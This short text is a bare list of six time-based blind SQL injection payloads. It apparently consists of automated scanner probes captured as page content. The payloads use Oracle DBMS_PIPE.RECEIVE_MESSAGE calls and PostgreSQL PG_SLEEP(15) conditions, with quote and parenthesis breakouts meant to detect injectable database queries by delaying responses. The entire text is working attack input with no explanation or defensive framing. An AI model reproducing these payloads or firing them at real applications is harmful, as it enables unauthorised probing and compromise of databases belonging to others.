(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

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1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

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1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

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1yxhJqKBV’)) OR 457=(SELECT 457 FROM PG_SLEEP(15))–

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1MYYI0CuA’) OR 535=(SELECT 535 FROM PG_SLEEP(15))–

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15mBCtf7D’ OR 672=(SELECT 672 FROM PG_SLEEP(15))–

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